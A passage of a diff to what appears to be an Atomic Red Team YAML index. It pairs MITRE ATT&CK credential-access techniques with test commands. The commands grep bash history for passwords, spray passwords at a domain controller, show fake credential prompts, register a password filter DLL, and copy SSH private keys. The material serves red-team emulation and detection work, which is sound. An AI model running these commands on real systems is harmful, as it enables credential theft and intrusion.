marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - John Lambert, Microsoft Threat Intelligence Center + x_mitre_permissions_required: + - User x_mitre_data_sources: - - Windows Registry - - Kernel drivers + - File monitoring - Process monitoring - - API monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. - - Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Process command-line parameters + name: Bash History + description: 'Bash keeps track of the commands users type on the command-line + with the "history" utility. Once a user logs out, the history is flushed to + the user’s .bash_history file. For each user, this file resides + at the same location: ~/.bash_history. Typically, this file keeps + track of the user’s last 500 commands. Users often type usernames and passwords + on the command-line as parameters to programs, which then get saved to this + file when they log out. Attackers can abuse this by looking through the file + for potential credentials. (Citation: External to DA, the OS X Way)' + id: attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8 x_mitre_platforms: - Linux - macOS - - Windows - kill_chain_phases: - - phase_name: collection - kill_chain_name: mitre-attack - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2 - name: Input Capture - created: '2017-05-31T21:30:48.323Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception. - - Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012) - - Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises. - - Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging) - x_mitre_permissions_required: - - Administrator - - SYSTEM - identifier: T1056 + x_mitre_detection: Monitoring when the user's .bash_history is + read can help alert to suspicious activity. While users do typically rely + on their history of commands, they often access this history through other + utilities like "history" instead of commands like cat ~/.bash_history. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1139 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1139 + - source_name: External to DA, the OS X Way + description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to + DA, the OS X Way. Retrieved July 3, 2017. + url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way + modified: '2019-07-16T19:54:57.273Z' + identifier: T1139 atomic_tests: - - name: Input Capture - description: | - Utilize PowerShell and external resource to capture keystrokes - [Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056/Get-Keystrokes.ps1) - Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1) + - name: Search Through Bash History + description: 'Search through bash history for specifice commands we want to + capture + +' supported_platforms: - - windows + - linux + - macos input_arguments: - filepath: - description: Name of the local file, include path. + bash_history_filename: + description: Path of the bash history file to capture type: Path - default: c:\key.log + default: "~/.bash_history" + bash_history_grep_args: + description: grep arguments that filter out specific commands we want to + capture + type: Path + default: "-e '-p ' -e 'pass' -e 'ssh'" + output_file: + description: Path where captured results will be placed + type: Path + default: "~/loot.txt" executor: - name: powershell - command: ".\\Get-Keystrokes.ps1 -LogPath #{filepath}\n" - T1141: + name: sh + command: 'cat #{bash_history_filename} | grep #{bash_history_grep_args} > + #{output_file} + +' + T1110: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1141 - source_name: mitre-attack - external_id: T1141 - - url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html - source_name: OSX Malware Exploits MacKeeper - description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits - Mackeeper. Retrieved July 3, 2017. - - url: https://logrhythm.com/blog/do-you-trust-your-computer/ - source_name: LogRhythm Do You Trust Oct 2014 - description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved - December 17, 2018. - - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - source_name: OSX Keydnap malware - description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware - is hungry for credentials. Retrieved July 3, 2017. - - url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ - source_name: Enigma Phishing for Credentials Jan 2015 - description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If - you want it, just ask!. Retrieved December 17, 2018.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Matthew Molyett, @s1air + x_mitre_permissions_required: + - User x_mitre_data_sources: - - Process monitoring - - Process command-line parameters - - User interface - - PowerShell logs - modified: '2019-03-12T17:12:47.098Z' - x_mitre_detection: |- - Monitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials. + - Office 365 account logs + - Authentication logs + name: Brute Force + description: |- + Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained. - Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + [Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking) + + Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) + + A related technique called password spraying uses one password (e.g. 'Password01'), or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) + + Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: + + * SSH (22/TCP) + * Telnet (23/TCP) + * FTP (21/TCP) + * NetBIOS / SMB / Samba (139/TCP & 445/TCP) + * LDAP (389/TCP) + * Kerberos (88/TCP) + * RDP / Terminal Services (3389/TCP) + * HTTP/HTTP Management Services (80/TCP & 443/TCP) + * MSSQL (1433/TCP) + * Oracle (1521/TCP) + * MySQL (3306/TCP) + * VNC (5900/TCP) + + In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) + + + In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. + id: attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd x_mitre_platforms: + - Linux - macOS - Windows - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b - name: Input Prompt - created: '2017-12-14T16:46:06.044Z' + - Office 365 + - Azure AD + - SaaS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '2.0' type: attack-pattern - description: |- - When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)). - - Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). - x_mitre_permissions_required: - - User - identifier: T1141 + x_mitre_detection: "It is difficult to detect when hashes are cracked, since + this is generally done outside the scope of the target network. \n\nMonitor + authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). + If authentication failures are high, then there may be a brute force attempt + to gain access to a system using legitimate credentials.\n\nAlso monitor for + many failed authentication attempts across various accounts that may result + from password spraying attempts.\n\nFor password spraying consider the following(Citation: + Trimarc Detecting Password Spraying):\n\n* Domain Controllers: \"Audit Logon\" + (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos + Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: + \"Audit Logon\" (Success & Failure) for event ID 4648." + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Microsoft Threat Intelligence Center (MSTIC) + - John Strand + - Ed Williams, Trustwave, SpiderLabs + created: '2017-05-31T21:31:22.767Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1110 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1110 + - source_name: capec + external_id: CAPEC-49 + url: https://capec.mitre.org/data/definitions/49.html + - source_name: Wikipedia Password cracking + description: Wikipedia. (n.d.). Password cracking. Retrieved December 23, + 2015. + url: https://en.wikipedia.org/wiki/Password_cracking + - source_name: Cylance Cleaver + description: Cylance. (2014, December). Operation Cleaver. Retrieved September + 14, 2017. + url: https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf + - source_name: BlackHillsInfosec Password Spraying + description: Thyer, J. (2015, October 30). Password Spraying & Other Fun with + RPCCLIENT. Retrieved April 25, 2017. + url: http://www.blackhillsinfosec.com/?p=4645 + - description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted + by Cyber Actors. Retrieved October 2, 2019. + source_name: US-CERT TA18-068A 2018 + url: https://www.us-cert.gov/ncas/alerts/TA18-086A + - description: 'Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password + Spraying with Security Event Auditing. Retrieved January 16, 2019.' + source_name: Trimarc Detecting Password Spraying + url: https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing + modified: '2019-10-09T20:58:13.919Z' + identifier: T1110 atomic_tests: - - name: AppleScript - Prompt User for Password - description: | - Prompt User for Password (Local Phishing) - Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html - supported_platforms: - - macos - executor: - name: sh - command: 'osascript -e ''tell app "System Preferences" to activate'' -e ''tell - app "System Preferences" to activate'' -e ''tell app "System Preferences" - to display dialog "Software Update requires that you type your password - to apply changes." & return & return default answer "" with icon 1 with - hidden answer with title "Software Update"'' + - name: Brute Force Credentials + description: 'Creates username and password files then attempts to brute force + on remote host ' - - name: PowerShell - Prompt User for Password - description: | - Prompt User for Password (Local Phishing) as seen in Stitch RAT. - - Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py supported_platforms: - windows + input_arguments: + input_file_users: + description: Path to a file containing a list of users that we will attempt + to brute force + type: Path + default: DomainUsers.txt + input_file_passwords: + description: Path to a file containing a list of passwords we will attempt + to brute force with + type: Path + default: passwords.txt + remote_host: + description: Hostname of the target system we will brute force upon + type: String + default: "\\\\COMPANYDC1\\IPC$" + domain: + description: Domain name of the target system we will brute force upon + type: String + default: YOUR_COMPANY executor: name: command_prompt elevation_required: false - command: powershell.exe -command {$cred = $host.UI.PromptForCredential('Windows - Security Update', '',[Environment]::UserName, [Environment]::UserDomainName); - echo $cred.GetNetworkCredential().Password;} - T1142: + command: | + net user /domain > #{input_file_users} + echo "Password1" >> #{input_file_passwords} + echo "1q2w3e4r" >> #{input_file_passwords} + echo "Password!" >> #{input_file_passwords} + @FOR /F %n in (#{input_file_users}) DO @FOR /F %p in (#{input_file_passwords}) DO @net use #{remote_host} /user:#{domain}\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete #{remote_host} > NUL + '': technique: - external_references: - - url: https://attack.mitre.org/techniques/T1142 - source_name: mitre-attack - external_id: T1142 - - url: https://en.wikipedia.org/wiki/Keychain_(software) - source_name: Wikipedia keychain - description: Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017. - - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way - source_name: External to DA, the OS X Way - description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to - DA, the OS X Way. Retrieved July 3, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - - System calls + - API monitoring - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Unlocking the keychain and using passwords from it is a very - common process, so there is likely to be a lot of noise in any detection technique. - Monitoring of system calls to the keychain can help determine if there is - a suspicious process trying to access it. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d - name: Keychain - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials. - - To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials. + - Kernel drivers x_mitre_permissions_required: - Administrator - identifier: T1142 - atomic_tests: - - name: Keychain - description: | - ### Keychain Files + - SYSTEM + name: Two-Factor Authentication Interception + description: |- + Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources. - ~/Library/Keychains/ + If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011) - /Library/Keychains/ + Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011) - /Network/Library/Keychains/ + Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental) + id: attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49 + x_mitre_platforms: + - Linux + - Windows + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - |- + Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted. - [Security Reference](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/security.1.html) + Out-of-band one-time code: Access to the device, service, or communications to intercept the one-time code. - [Keychain dumper](https://github.com/juuso/keychaindump) - supported_platforms: - - macos - executor: - name: sh - command: | - security -h - security find-certificate -a -p > allcerts.pem - security import /tmp/certs.pem -k - T1040: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1040 - source_name: mitre-attack - external_id: T1040 - - url: https://capec.mitre.org/data/definitions/158.html - source_name: capec - external_id: CAPEC-158 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - Network interface access and packet capture driver - x_mitre_data_sources: - - Network device logs - - Host network interface - - Netflow/Enclave netflow - - Process monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Detecting the events leading up to sniffing network traffic - may be the best method of detection. From the host level, an adversary would - likely need to perform a man-in-the-middle attack against other devices on - a wired network in order to capture traffic that was not to or from the current - compromised system. This change in the flow of information is detectable at - the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. - Detecting compromised network devices is a bit more challenging. Auditing - administrator logins, configuration changes, and device images is required - to detect malicious changes. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529 - name: Network Sniffing - created: '2017-05-31T21:30:41.399Z' - x_mitre_version: '1.0' + Hardware token: Access to the seed and algorithm of generating one-time codes. type: attack-pattern - description: |- - Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. - - Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. - - Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities. - x_mitre_permissions_required: - - Administrator - - SYSTEM - identifier: T1040 - atomic_tests: - - name: Packet Capture Linux - description: 'Perform a PCAP. Wireshark will be required for tshark. TCPdump - may already be installed. - -' - supported_platforms: - - linux - input_arguments: - interface: - description: Specify interface to perform PCAP on. - type: String - default: ens33 - executor: - name: bash - elevation_required: true - command: | - tcpdump -c 5 -nnni #{interface} - tshark -c 5 -i #{interface} - - name: Packet Capture MacOS - description: 'Perform a PCAP on MacOS. This will require Wireshark/tshark to - be installed. TCPdump may already be installed. - -' - supported_platforms: - - macos - input_arguments: - interface: - description: Specify interface to perform PCAP on. - type: String - default: en0A - executor: - name: bash - elevation_required: true - command: | - tcpdump -c 5 -nnni #{interface} - tshark -c 5 -i #{interface} - - name: Packet Capture Windows Command Prompt - description: | - Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark - installed, along with WinPCAP. Windump will require the windump executable. - supported_platforms: - - windows - input_arguments: - interface: - description: Specify interface to perform PCAP on. - type: String - default: Ethernet0 - executor: - name: command_prompt - elevation_required: true - command: | - c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 - c:\windump.exe - - name: Packet Capture PowerShell - description: | - Perform a packet capture using PowerShell with windump or tshark. This will require a host that has Wireshark/Tshark - installed, along with WinPCAP. Windump will require the windump executable. - supported_platforms: - - windows - input_arguments: - interface: - description: Specify interface to perform PCAP on. - type: String - default: Ethernet0 - executor: - name: powershell - elevation_required: true - command: | - c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 - c:\windump.exe - T1174: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1174 - source_name: mitre-attack - external_id: T1174 - - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html - source_name: Carnal Ownage Password Filters Sept 2013 - description: Fuller, R. (2013, September 11). Stealing passwords every time - they change. Retrieved November 21, 2017. - - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/ - source_name: Clymb3r Function Hook Passwords Sept 2013 - description: Bialek, J. (2013, September 15). Intercepting Password Changes - With Function Hooking. Retrieved November 21, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Vincent Le Toux - x_mitre_data_sources: - - DLL monitoring - - Process monitoring - - Windows Registry - modified: '2018-10-17T00:14:20.652Z' x_mitre_detection: |- - Monitor for change notifications to and from unfamiliar password filters. - - Newly installed password filters will not take effect until after a system reboot. + Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. - Password filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013) + Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - John Lambert, Microsoft Threat Intelligence Center + created: '2017-05-31T21:31:23.195Z' kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c - name: Password Filter DLL - created: '2018-01-16T16:13:52.465Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. - - Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. - - Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013) - x_mitre_permissions_required: - - Administrator - - SYSTEM - identifier: T1174 - atomic_tests: - - name: Install and Register Password Filter DLL - description: 'Uses PowerShell to install and register a password filter DLL. - Requires a reboot and administrative privileges. - -' - supported_platforms: - - windows - input_arguments: - input_dll: - description: Path to DLL to be installed and registered - type: Path - default: C:\AtomicRedTeam\atomics\T1174\src\AtomicPasswordFilter.dll - executor: - name: powershell - elevation_required: true - command: |- - $passwordFilterName = (Copy-Item "#{input_dll}" -Destination "C:\Windows\System32" -PassThru).basename - $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" - $notificationPackagesValues = $lsaKey.GetValue("Notification Packages") - $notificationPackagesValues += $passwordFilterName - Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues - Restart-Computer -Confirm - T1145: - technique: + - kill_chain_name: mitre-attack + phase_name: credential-access external_references: - - url: https://attack.mitre.org/techniques/T1145 + - external_id: T1111 source_name: mitre-attack - external_id: T1145 - - url: https://en.wikipedia.org/wiki/Public-key_cryptography - source_name: Wikipedia Public Key Crypto - description: Wikipedia. (2017, June 29). Public-key cryptography. Retrieved - July 5, 2017. - - url: https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf - source_name: Kaspersky Careto - description: Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The - Masked APT. Retrieved July 5, 2017. - - url: https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/ - source_name: Palo Alto Prince of Persia - description: Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia - – Game Over. Retrieved July 5, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Itzik Kotler, SafeBreach + url: https://attack.mitre.org/techniques/T1111 + - source_name: Mandiant M Trends 2011 + description: Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved + January 10, 2016. + url: https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf + - source_name: GCN RSA June 2011 + description: Jackson, William. (2011, June 7). RSA confirms its tokens used + in Lockheed hack. Retrieved September 24, 2018. + url: https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx + - description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding + Holes Operation Emmental. Retrieved February 9, 2016. + source_name: Operation Emmental + url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf + modified: '2019-06-21T16:38:57.913Z' + atomic_tests: [] + T1003: + technique: x_mitre_data_sources: - - File monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitor access to files and directories related to cryptographic - keys and certificates as a means for potentially detecting access patterns - that may indicate collection and exfiltration activity. Collect authentication - logs and look for potentially abnormal activity that may indicate improper - use of keys or certificates for remote authentication. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe - name: Private Keys - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto) - - Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. - - Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. - - Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia) + - API monitoring + - Process monitoring + - PowerShell logs + - Process command-line parameters x_mitre_permissions_required: - - User - identifier: T1145 - atomic_tests: - - name: Private Keys - description: | - Find private keys on the Windows file system. - - File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc - supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: true - command: | - echo "ATOMICREDTEAM" > %windir%\cert.key - dir c:\ /b /s .key | findstr /e .key - - name: Discover Private SSH Keys - description: 'Discover private SSH keys on a macOS or Linux system. - -' - supported_platforms: - - macos - - linux - input_arguments: - output_file: - description: Output file containing locations of SSH key files - type: path - default: "/tmp/keyfile_locations.txt" - executor: - name: sh - command: | - find / -name id_rsa >> #{output_file} - find / -name id_dsa >> #{output_file} - - name: Copy Private SSH Keys with CP - description: 'Copy private SSH keys on a Linux system to a staging folder using - the `cp` command. - -' - supported_platforms: - - linux - input_arguments: - output_folder: - description: Output folder containing copies of SSH private key files - type: path - default: "/tmp/art-staging" - executor: - name: sh - command: | - mkdir #{output_folder} - find / -name id_rsa -exec cp --parents {} #{output_folder} \; - find / -name id_dsa -exec cp --parents {} #{output_folder} \; - - name: Copy Private SSH Keys with rsync - description: 'Copy private SSH keys on a Linux or macOS system to a staging - folder using the `rsync` command. - -' - supported_platforms: - - macos - - linux - input_arguments: - output_folder: - description: Output folder containing copies of SSH private key files - type: path - default: "/tmp/art-staging" - executor: - name: sh - command: | - mkdir #{output_folder} - find / -name id_rsa -exec rsync -R {} #{output_folder} \; - find / -name id_dsa -exec rsync -R {} #{output_folder} \; -execution: - T1155: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1155 - source_name: mitre-attack - external_id: T1155 - - url: https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/ - source_name: Macro Malware Targets Macs - description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. - Retrieved July 8, 2017. + - Administrator + - SYSTEM + - root + name: Credential Dumping + description: "Credential dumping is the process of obtaining account login and + password information, normally in the form of a hash or a clear text password, + from the operating system and software. Credentials can then be used to perform Lateral + Movement and access restricted information.\n\nSeveral of the tools mentioned + in this technique may be used by both adversaries and professional security + testers. Additional custom tools likely exist as well.\n\n### Windows\n\n#### + SAM (Security Accounts Manager)\n\nThe SAM is a database file that contains + local accounts for the host, typically those found with the ‘net user’ command. + To enumerate the SAM database, system level access is required.\n \nA number + of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* + pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* + secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry + with [Reg](https://attack.mitre.org/software/S0075):\n\n* reg save 